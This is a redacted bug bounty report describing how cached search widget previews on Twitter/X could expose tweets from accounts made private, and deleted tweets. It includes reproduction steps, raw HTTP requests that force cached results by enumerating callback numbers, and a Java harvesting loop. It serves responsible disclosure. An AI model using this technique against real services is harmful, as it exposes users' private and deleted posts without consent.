X / xAI · Report #263760
Opportunity to obtain private tweets through search widget preview caches
How it was found
The search widget functionality at https://twitter.com/settings/widgets/new uses ██████████ to show search results. Issue here is that ████ seems to be caching the results, despite of no-cache request header and I can force ██████ to show me the cached results. So, if their is a user x who decides to change his profile from public to private, then I can use ██████████ to view his old tweets which are now private, provided his tweets were cached by ██████. Similarly, it can be used to restore deleted tweets of a user where caching was performed pre-deletion.
Problem
- We can pass Accept-Encoding: gzip, deflate, br in request header to enforce server to show cache results
- The callback function varies from __twttr.callbacks.tl_i1_preview_old to __twttr.callbacks.tl_i1000_preview_old (I assume). Due to this, url having __twttr.callbacks.tl_i1_preview_old is considered different from __twttr.callbacks.tl_i1000_preview_old. So I can get upto 1000 cache results calling callback function one by one.
Steps to Reproduce *) You can use the sample program in below section to search for available cache for any twitter user,list etc. Make sure to use Accept-Encoding: gzip, deflate, br to enforce caching (program is including this header)
-
Navigate to https://twitter.com/settings/widgets/new
-
Search for countblank
-
Since countblank is private profile so only 2 tweets came which are not related to countblank account
-
Again search for countblank while intercepting the request in Burp Suite. You will see a call like below. Just send it to Repeater. https://█████/widgets/timelines/preview?all_results=on&callback=__twttr.callbacks.tl_i<Number will vary here>_preview_old&do_not_track=false&expand_media=false&height=350&lang=en&query=<Search string>&safe_mode=on&suppress_response_codes=true&theme=light&timeline_type=search
-
Make the below changes to force seeing the cached result (Notice we added Accept-Encoding: gzip, deflate, br to enforce caching):
Original Request: GET /widgets/timelines/preview?all_results=on&callback=__twttr.callbacks.tl_i<some number>_preview_old&do_not_track=false&expand_media=false&height=350&lang=en&query=countblank&safe_mode=on&suppress_response_codes=true&theme=light&timeline_type=search HTTP/1.1 Host: █████ Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36 Accept: / Referer: https://twitter.com/settings/widgets/new Accept-Language: en-US,en;q=0.8 Cookie: lang=en
New Request (Make sure to change to twttr.callbacks.tl_i73_preview_old since this cache has not been overwritten by correct data): GET /widgets/timelines/preview?all_results=on&callback=██████ HTTP/1.1 Host: ███ Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36 Accept: / Referer: https://twitter.com/settings/widgets/new Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.8 Cookie: lang=en
- Forward the new request
- You can now more than 2 tweets including private profile tweets. In case, you cant see much result then you need to change i73 to i1...i100 in callback function __twttr.callbacks.tl_i73_preview_old.
- This happened since countblank tweet result was cached when it used to be public profile.
- Similarly, if post caching tweet is deleted then this technique can help you retrieve that deleted tweet
Sample program to retreive this cache
public static void getJSON()
{
try {
String old="";
Scanner s1=new Scanner(System.in);
System.out.println("Enter query");
String query=s1.nextLine();
//String query="testAcc1989";
Set<String> s=new HashSet<String>();
for(int i=1;i<200;i++)
{
String url="https://█████/widgets/timelines/preview?all_results=on&callback=__twttr.callbacks.tl_i"+i+"█████";
Document doc = Jsoup.connect(url)
.header("Host", "██████████")
.header("Cache-control", "max-age=31556926").header("Cache-store", "max-age=31556926")
.userAgent("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0")
.header("Accept-Encoding", "gzip, deflate, br") // Caching
.ignoreContentType(true)
.get();
String newVal=doc.html().substring(doc.html().indexOf("config"));
if(!old.equals(newVal) && s.add(newVal)){
old=newVal;
System.out.println("-------------------------------------------------------Callback url which have cache "+url);
//System.out.println(doc.html()); //Use this to print cached version
}
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
Risk This can be used to extract private and deleted tweets and other resources
Resolution I can see the request header for no-cache being passed but somehow server is not respecting the same. Make sure that results are not cached and updated data is always presented to user.